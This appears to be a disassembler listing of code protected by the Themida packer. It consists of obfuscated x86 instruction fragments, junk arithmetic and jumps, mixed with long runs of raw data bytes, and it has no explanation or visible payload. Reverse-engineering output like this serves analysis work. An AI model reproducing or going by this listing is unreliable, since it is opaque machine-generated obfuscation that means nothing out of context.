0FFh, 30h dd 0FFF5FDE9h, 0E9EA31FFh, 8993h, 8BB95155h, 0E92A181Ch dd 88D4h, 4B8h, 58C50100h, 8102C583h, 4ECh, 242C8900h dd 42474FFh, 43E2E95Dh, 0E0890000h, 405h, 40500h, 4870000h dd 88505C24h, 58E388F4h, 3EE7E9h, 148B6600h, 6C5EE924h dd 0C8B0000h, 4C48324h, 6FD4E9h db 0 ; --------------------------------------------------------------------------- loc_4F6775: ; CODE XREF: Themida_:004F6164j not edx sub edx, 183446C2h sub edx, 141E701Dh inc edx not edx neg edx sub edx, 69955828h add edx, 6D5BF470h sub edi, edx jmp loc_4FE6C4 ; --------------------------------------------------------------------------- db 29h dd 0F2815DEAh, 32211F55h, 0A819F281h, 0D5012C7Ah, 2BA525Ah dd 81000000h, 5C7CE5EDh, 0E9D50112h, 6EDBh, 0BF57D901h dd 1000446Bh, 0E95FF901h, 581Bh ; --------------------------------------------------------------------------- loc_4F67D0: ; CODE XREF: Themida_:0050068Ej push dword ptr [esp] pop ebx push 34D8h mov [esp], ecx jmp loc_500BFF ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0CBFE0000h, 68h, 241C2800h, 2426E9h, 48F5800h dd 48DE924h, 7DB10000h, 34FFCB00h, 0C4835924h, 66C30004h dd 80BEB551h, 506625F5h, 0C53044B0h, 0CDFE5866h, 80BEED80h dd 0E95001EDh, 545Dh ; --------------------------------------------------------------------------- loc_4F682C: ; CODE XREF: Themida_:004F6DF0j push 12FC03E1h pop ecx xor ecx, 12FC0BE1h jmp loc_500EEF ; --------------------------------------------------------------------------- db 57h, 0BFh, 99h dd 0E946C31Ch, 2FCFh, 53E9CF88h, 66000091h, 0E9515351h dd 7173h, 0C72641BDh, 0D5F74543h, 0FFF85DE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6865: ; CODE XREF: Themida_:004FD41Fj add ebp, ebx jmp loc_4F9FDE ; --------------------------------------------------------------------------- dd 0FFF4A1E9h, 4EC83FFh, 68241489h, 59690CD3h, 0DAF74A5Ah dd 0CB98EA81h, 0D78933C8h, 0E924148Bh, 2C02h, 24048B66h dd 2A5A6853h, 24890000h, 24048124h, 4, 0FFF666E9h, 48153FFh dd 5D7BC924h, 81008F47h, 5D7BC928h, 30815B47h, 0B2D55684h dd 0FFF75AE9h, 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFFF43Eh dd 875BDD01h, 0E95C242Ch, 138Ch, 81242489h, 42404h, 52590000h dd 4BAh, 0D6EE900h, 51500000h, 464CF668h, 240C8B17h, 0F704C483h dd 8E1C1D1h, 5648C981h, 49E904EFh db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6913: ; CODE XREF: Themida_:004FE896j mov [esp], eax mov eax, esp push ebp mov ebp, 76BD422Bh not ebp xor ebp, 3ED11141h not ebp or ebp, 3E64741Ah add ebp, 8193888Ah add eax, ebp pop ebp add eax, 4 jmp loc_4FC8C7 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C4h dd 4, 1AFCC381h, 6AE9247Bh, 8900004Eh, 4C381E3h, 83000000h dd 0F3E904C3h, 66000019h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 3B24h jmp loc_4F64F4 ; --------------------------------------------------------------------------- dd 66D33166h, 0E3C1665Ah, 0EB816603h, 0E1E983EFh db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6987: ; CODE XREF: Themida_:004FCEE7j add esp, 4 jmp loc_4FE382 ; --------------------------------------------------------------------------- db 2Ch dd 18E7E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6996: ; CODE XREF: Themida_:004FD9FCj push 195Bh mov [esp], esi push edi mov edi, 82A6484h neg edi and edi, 152D3AB8h and edi, 441A70C7h xor edi, 1160353Ch mov esi, edi jmp loc_4FAC7B ; --------------------------------------------------------------------------- db 81h dd 474825C9h, 0A5E98144h, 816ED748h, 5B1F7CEDh, 0E9CD010Eh dd 7226h, 83241C8Bh, 536604C4h, 1E6FE9h, 0FF686600h, 665A6617h dd 666313BDh, 665AD529h, 5D66EA89h, 5BDA2966h, 9807E9h db 0 ; --------------------------------------------------------------------------- loc_4F6A01: ; CODE XREF: Themida_:004F7CC5j sub esi, ebp push ebp mov ebp, 0DF266D0h neg ebp shr ebp, 2 not ebp add ebp, 5A897969h sub ebp, 1842231Eh jmp loc_4F703C ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 241C3153h, 31241C33h, 0D387241Ch, 0D387D2F7h, 2474FF53h dd 48F5B04h, 371CE924h, 89660000h, 0B252240Ch, 1CC280A5h dd 8B3EE9h, 8089B100h, 0C800D5E9h, 1298E9h, 4C48100h, 0E9000000h dd 7B21h ; --------------------------------------------------------------------------- loc_4F6A68: ; CODE XREF: Themida_:00500D38j mov ebp, 1BE8A567h add ebp, esi pop esi shl ebp, 4 not ebp xchg edi, ebp inc edi xchg edi, ebp neg ebp sub ebp, 2B1EB785h mov esi, ebp mov ebp, [esp] add esp, 4 add eax, esi pop esi sub edx, eax pop eax and eax, edx mov edx, [esp] add esp, 4 or eax, eax jz loc_4F72B3 push dword ptr [edi+1Ch] push esi mov esi, 26725222h add [esp+4], esi push dword ptr [esp] pop esi jmp loc_4FC3BF ; --------------------------------------------------------------------------- db 81h, 0C2h, 55h dd 594E0E40h, 8B241487h, 8B662424h, 5451240Ch, 4C18159h dd 83000000h, 1AE904E9h, 66000041h, 66706868h, 0B4240489h dd 66E10802h, 8324048Bh, 0B45002C4h, 0FEC4FE72h, 8ECC0C4h dd 8086EC80h, 0E1286CF4h, 83C1FE58h, 148904ECh, 0B69FE924h dd 8B660000h, 0E9502404h, 6A0Dh, 104968h, 24348900h, 8904EC83h dd 4832424h, 348B0424h, 4C48124h, 81000000h, 4C6h, 4BF5700h dd 1000000h, 34335FFEh, 93F0E924h, 0E9550000h, 6856h, 1BD1C281h dd 0EA81494Ch, 23AE09AAh, 0BE56CA01h, 242D536Fh, 2F54BB53h dd 0DE3162A5h, 12F6815Bh, 814A5967h, 0DCEE81C6h, 5EF20116h dd 1BD16851h, 2959494Ch, 30E959CAh, 0F70000B5h, 0FEF681DEh dd 0E942DE6Dh, 4979h, 5BFC381h, 0D3012AACh, 5BFEB81h, 0EC832AACh dd 24048904h, 4E5554B8h, 5E0C122h, 4159812Dh, 48F70509h dd 0E9487ED8h, 506Ah ; --------------------------------------------------------------------------- loc_4F6BC4: ; CODE XREF: Themida_:00501A1Aj mov eax, 112F6DE6h push eax sub dword ptr [esp], 5F9946ECh jmp loc_4FC3CE ; --------------------------------------------------------------------------- dw 0E901h dd 0FFF257E9h, 241489FFh, 0F388C688h, 8124148Bh, 4ECh dd 92D2E900h, 89660000h, 0D868241Ch, 0E9000045h, 0FFFFFFDDh dd 0E9241487h, 887Bh ; --------------------------------------------------------------------------- loc_4F6C08: ; CODE XREF: Themida_:004FAEB0j mov ebx, 6C3F780Ch dec ebx jmp loc_4FCA4F ; --------------------------------------------------------------------------- dd offset loc_420965+3 align 4 dd 68243C89h, 739811C2h, 0D8E9475Fh, 5600008Ch, 6D1C2568h dd 61E95E2Fh, 56000025h, 468h, 0F2015E00h, 2414875Eh, 376BE9h dd 1726800h, 0B3E90000h, 5800001Bh, 1FE9F201h, 5D000023h dd 58C2E9h db 0 ; --------------------------------------------------------------------------- loc_4F6C5D: ; CODE XREF: Themida_:005006F0j mov [esp], edi push ecx mov ecx, 1000000h push 76EAh mov [esp], ecx pop edi pop ecx jmp loc_4F8B1A ; --------------------------------------------------------------------------- loc_4F6C75: ; CODE XREF: Themida_:004FA3E6j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_4F70A2 ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 0EC832404h, 24048904h, 0FFF1C3E9h, 4C483FFh dd 4BF57h, 0FB010000h, 2B9515Fh, 81000000h, 115949C3h dd 81CB015Ah, 115949EBh, 1C87595Ah, 31665C24h, 0E99C2404h dd 0FFFFF042h, 0C281C201h, 4C715BE7h, 3A9DE9h, 2434FF00h dd 4C4815Dh, 31000000h, 2434FFF8h, 81243C8Bh, 4C4h, 6E60E900h dd 0E9550000h, 0C5Ch, 9D9C41BFh, 0A673E9A3h, 0E95C0000h dd 0A70Eh, 8704EF83h, 17E9243Ch db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6D1B: ; CODE XREF: Themida_:005006C5j push 237Ch jmp loc_4FACE6 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 6804C483h, 545Ch, 89241C89h, 4BA52E3h, 0E9000000h, 58CBh dd 5304C483h, 0E7C049B7h, 300AE905h, 48F0000h, 4E11E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6D56: ; CODE XREF: Themida_:0050172Fj add ecx, 4 jmp loc_4FD932 ; --------------------------------------------------------------------------- loc_4F6D61: ; CODE XREF: Themida_:004FA4A1j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 1CCAh mov [esp], esi push edx jmp loc_4F89D5 ; --------------------------------------------------------------------------- db 5Ch dd 0F66E9F6h, 8953CCB6h, 9CE957E3h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6D8B: ; CODE XREF: Themida_:004FB15Cj xchg ebp, [esp] pop esp push esi push esp mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_4FEFED ; --------------------------------------------------------------------------- loc_4F6DB5: ; CODE XREF: Themida_:004FEBD9j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FAA04 ; --------------------------------------------------------------------------- db 5, 4Ch, 4Eh dd 0BA2D6242h, 295FCB52h, 52BA05E8h, 4C2D5FCBh, 5D62424Eh dd 762E9h db 0 ; --------------------------------------------------------------------------- loc_4F6DDD: ; CODE XREF: Themida_:004FDFBBj mov ebp, edi pop edi xor ebp, 79885C8Ch jmp loc_500EBF ; --------------------------------------------------------------------------- loc_4F6DEB: ; CODE XREF: Themida_:00501011j mov esp, [esp] push edi push ecx jmp loc_4F682C ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 aZSro db '‡<$é®',0 align 10h dd 81F3E981h, 0C8294276h, 5D94E9h, 0E9814100h, 246709D9h dd 7EA8BA52h, 0D1311784h, 22C1815Ah, 0C1370B51h, 0E98107E1h dd 7465F57Ch, 8159CB01h, 2C3h, 241C8700h, 0F624248Bh, 0B60F66F1h dd 16866CCh, 0C896618h, 0B60F6624h, 9C5166C8h, 0FFEEBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6E55: ; CODE XREF: Themida_:004F8DE7j add ebp, 1 dec ebp xor ebp, 33194291h add ebx, ebp mov ebp, [esp] push ebx mov ebx, esp jmp loc_4F8CC4 ; --------------------------------------------------------------------------- loc_4F6E6F: ; CODE XREF: Themida_:004FD202j mov [esp], ecx mov cl, 0A7h neg cl or cl, 3Dh add cl, 0B9h or cl, 66h add cl, 1Dh sub cl, 17h sub bl, cl jmp loc_501132 ; --------------------------------------------------------------------------- loc_4F6E8C: ; CODE XREF: Themida_:004FD769j shl ecx, 4 add ecx, 0C991CA21h mov edx, ecx jmp loc_4F6417 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 1178h, 5324048Bh, 86E9h, 74FF5700h, 3C8B0424h dd 4C48324h, 0B2E9h, 40EF8100h, 81073115h, 0C07B0FC7h dd 81CF2954h, 0C07B0FEFh, 40C78154h, 81073115h, 0F56A08EFh dd 0EB81592Ah, 75185666h, 2807E9h db 0 ; --------------------------------------------------------------------------- loc_4F6EE9: ; CODE XREF: Themida_:004FABDFj inc edx sub edx, 224E6F8Fh add edx, 36D60D54h shl edx, 4 jmp loc_4F98B9 ; --------------------------------------------------------------------------- dw 0F758h dd 0D12D40D8h, 8911E08Ah, 0E95058C6h, 1C26h, 243C895Ch dd 51B0E9h db 0 ; --------------------------------------------------------------------------- loc_4F6F19: ; CODE XREF: Themida_:004FD5BAj mov [esp], eax mov eax, 3CDE49F3h push eax not dword ptr [esp] pop eax shl eax, 1 inc eax push 37A8h jmp loc_4FCE5A ; --------------------------------------------------------------------------- db 54h dd 81241C8Bh, 4C4h, 8DBF5700h, 4F781B4Dh, 74F4E9h, 0E8835C00h dd 24048704h, 2414895Ch, 0B7E99C50h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6F5B: ; CODE XREF: Themida_:00501111j sub ecx, 2DE91ACAh add ebp, ecx pop ecx jmp loc_4FF2C5 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0A9h dd 8FFFFFFBh, 815C2404h, 4ECh, 241C8900h, 8B53C389h, 54552414h dd 4C5815Dh, 0E9000000h, 4D45h, 4BAh, 5AD70100h, 5C243C87h dd 252768h, 24048900h, 0FFED69E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6FA9: ; CODE XREF: Themida_:004FF64Bj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp and eax, edx mov edx, [esp] add esp, 4 jmp loc_4F720D ; --------------------------------------------------------------------------- dd 55CEEA81h, 0C2011B22h, 3A7EB951h, 0D1877626h, 0D187DAF7h dd 8106E1C1h, 53354EF1h, 0E9CA016Dh, 1F98h ; --------------------------------------------------------------------------- loc_4F6FE4: ; CODE XREF: Themida_:004FCA70j sub eax, 41005414h not eax jmp loc_501F9B ; --------------------------------------------------------------------------- dd 0D8769D25h, 24DF0509h, 0C789684Eh, 0D2F78158h, 813E8E43h dd 0C01B09F7h, 50C6814Eh, 136AC2Ch, 50EE81FEh, 8B36AC2Ch dd 0EC81243Ch, 4, 89243C89h, 4C781E7h, 51000000h, 4B9h dd 59CF0100h, 0E9243C87h, 11ADh ; --------------------------------------------------------------------------- loc_4F703C: ; CODE XREF: Themida_:004F6A1Cj sub ebp, 0DFA1D381h sub esi, ebp push dword ptr [esp] jmp loc_4F8365 ; --------------------------------------------------------------------------- dd 0F204D0F6h, 5358C708h, 12454F6h, 0C0CFFE5Bh, 0B25203E7h dd 0B8EA804Bh, 8017C280h, 0D72850EAh, 28B1E95Ah, 8B660000h dd 0E9512404h, 7FD1h ; --------------------------------------------------------------------------- loc_4F707C: ; CODE XREF: Themida_:004F875Bj push edx jmp loc_4F99FD ; --------------------------------------------------------------------------- dw 34FFh aSn db '$^é#',0 db 0 ; --------------------------------------------------------------------------- loc_4F708B: ; CODE XREF: Themida_:004FD36Dj push ecx mov cl, al sub esp, 4 jmp loc_4FDAFA ; --------------------------------------------------------------------------- dw 48Fh dd 24048324h, 0EC70E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F70A2: ; CODE XREF: Themida_:004F6C8Aj mov [esp], ebx push eax mov eax, 2ACB2530h xor [esp+4], eax jmp loc_501F57 ; --------------------------------------------------------------------------- loc_4F70B4: ; CODE XREF: Themida_:004F89A5j add ecx, 568251C5h jmp loc_4FCF01 ; --------------------------------------------------------------------------- db 83h dd 348704EEh, 24248B24h, 12C6E9h db 0 ; --------------------------------------------------------------------------- loc_4F70CD: ; CODE XREF: Themida_:004FCE30j sub edi, ecx pop ecx jmp loc_4F7834 ; --------------------------------------------------------------------------- db 0BEh, 54h, 1Ah dd 0F6811370h, 3E9E0238h, 5A5EF031h, 0A1E9C131h, 8100001Eh dd 0A5FFDE2h, 233E953h, 0CF680000h, 0E937B753h, 0E49h dd 24040966h, 0EC08E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F710A: ; CODE XREF: Themida_:00500697j add esp, 4 push esi mov esi, 4 sub eax, 71F16C4Dh add eax, esi add eax, 71F16C4Dh pop esi jmp loc_4F7985 ; --------------------------------------------------------------------------- a0Yqso db '0ÈYQéO<',0 db 0 ; --------------------------------------------------------------------------- loc_4F7131: ; CODE XREF: Themida_:004FA135j push ecx mov ecx, 66D928ACh add esi, ecx pop ecx dec esi add esi, 9F1B2C85h mov ecx, esi jmp loc_4FE21F ; --------------------------------------------------------------------------- dd 4C481h, 0C1810000h, 0F1706F29h, 8636E9h, 24048F00h dd 2414895Ch, 6DAA68h, 24248900h, 4240483h, 7178E95Ah dd 0E1810000h, 780A33F3h, 0F8F18149h, 971CC4Eh, 0AA9DE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7186: ; CODE XREF: Themida_:004FEA05j pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_4FE1E5 ; --------------------------------------------------------------------------- loc_4F719B: ; CODE XREF: Themida_:004FF5B6j sub ebp, ebx jmp loc_5010AF ; --------------------------------------------------------------------------- loc_4F71A2: ; CODE XREF: Themida_:004FF58Aj mov ebx, 4 add ebp, 7773898h add ebp, ebx sub ebp, 7773898h mov ebx, [esp] add esp, 4 xchg ebp, [esp] pop esp push 1860h mov [esp], ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax sub esp, 4 mov [esp], edi mov edi, 4 sub ebp, edi push dword ptr [esp] jmp loc_4FAAC8 ; --------------------------------------------------------------------------- dw 0D831h dd 118ABE56h, 535168FAh, 86EDE9h, 5EF38900h, 0E95BD989h dd 0FFFFF7BBh, 535D5455h, 91ECE9h db 0 ; --------------------------------------------------------------------------- loc_4F720D: ; CODE XREF: Themida_:004F6FBBj or edx, eax shl edx, 1 xchg ecx, [edi+24h] add ecx, 1 push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] mov ecx, [esp] push ebp jmp loc_4FCAB0 ; --------------------------------------------------------------------------- dw 2B2Ch dd 0F64BB753h, 0FEC7FED7h, 52C7FECFh, 0ADE90FB6h, 830000AFh dd 0C4E904C4h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7247: ; CODE XREF: Themida_:004FBE5Fj push edi mov edi, 4B57322Ah or ebp, edi jmp loc_4FC124 ; --------------------------------------------------------------------------- dd 5B5DEE89h, 7D242A05h, 2340E933h, 55E0000h, 3DFF460Dh dd 0D2DD001h, 5A3DFF46h, 3B2EBB53h, 683A4Fh, 0E9000000h dd 4A10h, 83241C8Bh, 835104C4h, 48904ECh, 9138E924h, 28D10000h dd 0BB53h, 182B0000h, 0FFF608E9h, 0E9D7F7FFh, 86E9h ; --------------------------------------------------------------------------- loc_4F72A8: ; CODE XREF: Themida_:004FC3C9j push esi mov esi, 4 jmp loc_501228 ; --------------------------------------------------------------------------- loc_4F72B3: ; CODE XREF: Themida_:004F6A9Dj ; Themida_:004FE1EEj sub esp, 4 mov [esp], ecx push ebx jmp loc_501361 ; --------------------------------------------------------------------------- dw 0BE56h dd 6BE11BAFh, 1EE453B9h, 5EF10194h, 4055EA81h, 0CA014E0Eh dd 0FFF7DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F72DD: ; CODE XREF: Themida_:00500AB6j xchg ebx, [esp] push ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 xchg ebx, [esp] pop ebx push 2135h mov [esp], ebx jmp loc_500DC6 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 49000000h, 2F61E981h, 0E9C17022h, 0CFF5103h dd 240C8B24h, 4BE95452h, 1FFFFF2h, 240C8BCAh, 0B3BDE9h dd 0F28100h, 83422D6Ch, 0F28101EAh, 849DF8Ch, 24348152h dd 2DEE186Ch, 8EE95658h, 29FFFFFDh, 0D7895DEAh, 0CFEF815Ah dd 0E97F810Eh, 8A0Fh, 4BA525Dh, 1000000h, 24148BD0h, 4878E9h dd 241C8900h, 42474FFh, 81241C8Bh, 4C4h, 24048F00h, 2024248Bh dd 0E99C2404h, 0FFFFE98Ah ; --------------------------------------------------------------------------- loc_4F7388: ; CODE XREF: Themida_:004FF7D8j xor ebp, [esp] pop esp jmp loc_4F80CD ; --------------------------------------------------------------------------- db 0E9h, 7Ch, 0E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7396: ; CODE XREF: Themida_:004FC2A0j add esp, 4 add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub esi, 4CEC22BEh add esi, ecx jmp loc_4FB557 ; --------------------------------------------------------------------------- loc_4F73BA: ; CODE XREF: Themida_:004FE1F4j pop eax jmp loc_4FF93A ; --------------------------------------------------------------------------- dd 21E88B05h, 53A2E91Eh, 4870000h, 14895C24h, 0AB8BA24h dd 0EAC14B62h, 0F7E2D103h, 70BD55D2h, 0E93EFE0Dh, 4301h dd 7EFC15Dh, 1334E781h, 87E93993h, 8B00000Fh, 14E9242Ch dd 0F00007Dh, 9C2404A3h, 0FFE909E9h, 2CD366FFh, 8AE99C24h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_4FE0CD ; --------------------------------------------------------------------------- db 89h dd 0BF57240Ch, 78A22E8Bh, 38DBF781h, 0C78133DDh, 50BC7643h dd 6F8DC781h, 0F9890FD0h, 8BCE315Fh, 0C481240Ch, 4, 348BF031h dd 4C48124h, 68000000h, 1505h, 9453E9h, 551E6800h, 34890000h dd 0BF575124h, 79590119h, 0D7F7DFF7h, 1DFBC781h, 0F989E2F6h dd 83243C8Bh, 776804C4h, 89000067h, 5EB82404h, 2D493328h dd 694928C7h, 96D6F796h, 234E9305h, 0D7E981F1h, 0E9135A3Fh dd 9615h, 28B6664h, 395C6866h, 8388E9h, 0C00EB100h, 0F3E907E1h dd 8100002Ch, 4C6h, 9062E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F74CE: ; CODE XREF: Themida_:005002E0j push esi push eax push ecx mov ecx, 8C62D0Eh jmp loc_4FA823 ; --------------------------------------------------------------------------- db 5Fh dd 0E924048Fh, 0A8A3h ; --------------------------------------------------------------------------- loc_4F74E4: ; CODE XREF: Themida_:004FCA51j shl ebx, 5 not ebx shr ebx, 1 push edi mov edi, 6C65507Bh jmp loc_4F94DC ; --------------------------------------------------------------------------- loc_4F74F6: ; CODE XREF: Themida_:004FC1ECj add ebp, esi pop esi push edi mov edi, 4 sub ebp, edi pop edi xor ebp, [esp] jmp loc_4FF7D5 ; --------------------------------------------------------------------------- aRs6m db 'Ré6m',0 align 10h aSQcsSV db ')ÆS»Qcè{éÀV',0 db 0 ; --------------------------------------------------------------------------- loc_4F751D: ; CODE XREF: Themida_:004F90D2j mov ebp, esi mov esi, [esp] jmp loc_4FA6BB ; --------------------------------------------------------------------------- db 58h dd 0E924048Fh, 0FFFFE7E2h ; --------------------------------------------------------------------------- loc_4F7530: ; CODE XREF: Themida_:004FBC4Ej xchg ebx, [esp] pop esp sub esp, 4 jmp loc_4FD363 ; --------------------------------------------------------------------------- db 52h dd 6FB1BE56h, 0F1E93C51h, 8B00007Dh, 8953240Ch, 68B951E3h dd 81503E19h, 3147F6C9h, 52E95527h, 570000AAh, 3704F2BFh dd 2BC78148h, 52066831h, 0D55580BAh, 4AFCE951h, 815E0000h dd 6A153EC3h, 136CE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7586: ; CODE XREF: Themida_:004FE199j add ebx, edi sub ebx, 6C2A3281h jmp loc_4F9E59 ; --------------------------------------------------------------------------- db 56h dd 468h, 0F1015E00h, 0FFEA70E9h, 89F929FFh, 0EFC159CFh dd 0E9E95008h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F75AF: ; CODE XREF: Themida_:004FE1D1j push dword ptr [eax] jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 5053h dd 405E089h, 2D000000h, 4, 5C240487h, 87E9E9h db 0 ; --------------------------------------------------------------------------- loc_4F75CD: ; CODE XREF: Themida_:004FF703j sub eax, ebx pop ebx push eax add dword ptr [esp], 51CC0B82h pop edi sub edi, 51CC0B82h jmp loc_4F8F26 ; --------------------------------------------------------------------------- aB0q db 'Á0Q',0 align 2 dw 0C801h dd 24048759h, 6624248Bh, 17E930FFh, 89FFFFE7h, 74FF2414h dd 55E90424h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7607: ; CODE XREF: Themida_:004FB4D7j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 7782h mov [esp], esi jmp loc_4FFE50 ; --------------------------------------------------------------------------- dw 558h dd 0DEF2C892h, 0E958C589h, 3062h, 496DE957h, 34FF0000h dd 0C4835B24h, 4BE5604h, 1000000h, 71E95EF3h, 89000048h dd 6DD268F0h, 0C890000h, 89C18924h, 0E95859CFh, 0D94h dd 34FFD101h, 6C685A24h, 89000058h, 0E389241Ch, 4C381h dd 0C3830000h, 241C8704h, 2C1835Ch, 2474FF51h, 240C8B04h dd 4C481h, 55E90000h, 0FF000017h, 5A042474h, 5C24048Fh dd 9C240409h, 0FFE669E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F76A9: ; CODE XREF: Themida_:004FCFF8j add edi, ebx jmp loc_4FA4F0 ; --------------------------------------------------------------------------- dd 4445B951h, 0CB2942F3h, 62D7E9h db 0 ; --------------------------------------------------------------------------- loc_4F76BD: ; CODE XREF: Themida_:004FD975j pop eax push ebp jmp loc_500216 ; --------------------------------------------------------------------------- dd 0B0240489h, 58C6003Dh, 0E914EE80h, 0FFFFECE3h, 56D6EB81h dd 0D3011673h, 48AEE9h db 0 ; --------------------------------------------------------------------------- loc_4F76E1: ; CODE XREF: Themida_:004F651Fj movzx ecx, al push 46D0h mov [esp], ecx jmp loc_5005D1 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 83E90000h, 83FFFFF9h, 0BF5704C4h, 3CE731F1h dd 55EFE9h, 4C68100h, 81000000h, 4ECh, 24048900h, 4B8h dd 51EE8100h, 0E97BE863h, 0FFFFFDE4h ; --------------------------------------------------------------------------- loc_4F772C: ; CODE XREF: Themida_:004F9463j pop ecx push edi push eax push 6B0A1537h pop eax jmp loc_4FB96F ; --------------------------------------------------------------------------- dw 0C281h dd 0DFA409C4h, 6DA6C181h, 0D101125Fh, 0D13E9h, 6CF5B900h dd 0CA292A89h, 6F8AE959h, 34FF0000h db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 187314FDh inc edi or edi, 6EA27651h inc edi push ecx mov ecx, 496F2C12h push ecx dec dword ptr [esp] mov ecx, [esp] add esp, 4 or ecx, 17467F86h add ecx, 2BEB2F2Bh not ecx push esi mov esi, 0BB3ABCCCh jmp loc_501BCC ; --------------------------------------------------------------------------- aIcsL db '‰æé³«',0 dw 6800h dd 5689h, 83241C89h, 248904ECh, 0DBEE924h, 815F0000h, 0EE4CCAEEh dd 83EA8103h, 154F955h, 83C281F2h, 0E954F955h, 45E2h, 0BA241489h dd 14611F2Dh, 1B55E281h, 0F2812509h, 641E166Bh, 8142DAF7h dd 730AFAC2h, 57BD5503h, 814D362Fh, 73AA45C5h, 5DEA2929h dd 737AE9h, 2434FF00h, 592434FFh, 4C481h, 0EC830000h, 243C8904h dd 0EC835F54h, 240C8904h, 6DFD6852h, 0E95A2E3Fh, 778Dh dd 0FFE4E9E9h, 68772DFFh, 0E95F7DD5h, 3543h ; --------------------------------------------------------------------------- loc_4F7834: ; CODE XREF: Themida_:004F70D0j add edi, esi add edi, 2EA3286Bh add edi, 531C7D2Ch pop esi add edi, 4 xchg edi, [esp] jmp loc_4FE67E ; --------------------------------------------------------------------------- loc_4F784E: ; CODE XREF: Themida_:00502230j push edx mov edx, 22525A41h push eax mov eax, 1AC5B9C7h add edx, 3D7A32B8h add edx, eax sub edx, 3D7A32B8h pop eax jmp loc_4FA9B8 ; --------------------------------------------------------------------------- dw 0E6C1h dd 53B85003h, 4813051Fh, 0DF317635h, 8BC631B8h, 0C4812404h dd 4, 348BF201h, 4C48124h, 87000000h, 0F5C2414h, 0B7E9C8B7h dd 8B00005Fh, 0C4812414h, 4, 8B242C87h, 5FE92424h, 5CFFFFE4h dd 5C24048Fh, 24048B66h, 657EE9h, 241C8B00h, 3257E9h, 240C8700h dd 66CF885Ch, 2FC9E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F78D6: ; CODE XREF: Themida_:004FBCADj xor ecx, 64F86235h inc ecx sub ecx, 46D19405h mov esi, ecx jmp loc_4FA713 ; --------------------------------------------------------------------------- dw 8953h dd 4EC83E3h, 0BF243C89h, 4, 685FFB01h, 891h, 68241489h dd 4, 2228E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F790E: ; CODE XREF: Themida_:004FBF7Cj xchg ebp, [esp] not ebp xchg ebp, [esp] jmp loc_4FA13A ; --------------------------------------------------------------------------- db 0ACh db 30h, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_500E96 ; --------------------------------------------------------------------------- dw 0F381h dd 62FA0EC2h, 34FFDA01h, 0C4835B24h, 25B95104h, 811E5343h dd 6DE084E9h, 59CA2914h, 0FFE3C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F7949: ; CODE XREF: Themida_:004F5F66j neg edx inc edx shl edx, 8 add edx, 1BB64475h xor eax, edx jmp loc_4F61C5 ; --------------------------------------------------------------------------- dd 4BDh, 3A992D00h, 0E8296473h, 733A9905h, 2434FF64h, 4C4815Dh dd 50000000h, 42474FFh, 24048F58h, 38ECE9h db 0 ; --------------------------------------------------------------------------- loc_4F7985: ; CODE XREF: Themida_:004F7123j add eax, 2 xor eax, [esp] jmp loc_4FBBC2 ; --------------------------------------------------------------------------- dw 7BE9h dd 59FFFFE3h, 0FFEB23E9h, 8BDD30FFh, 0C483241Ch, 0DCB45004h dd 0CC80DCF6h, 4E4C0FDh, 5146CC80h, 0CDFEA8B5h, 0F580CDFEh dd 3458E9AFh, 52660000h, 0D00099B2h, 0D0285A66h, 0AD04992Ch dd 0E8E9515Ah, 0BA00009Dh, 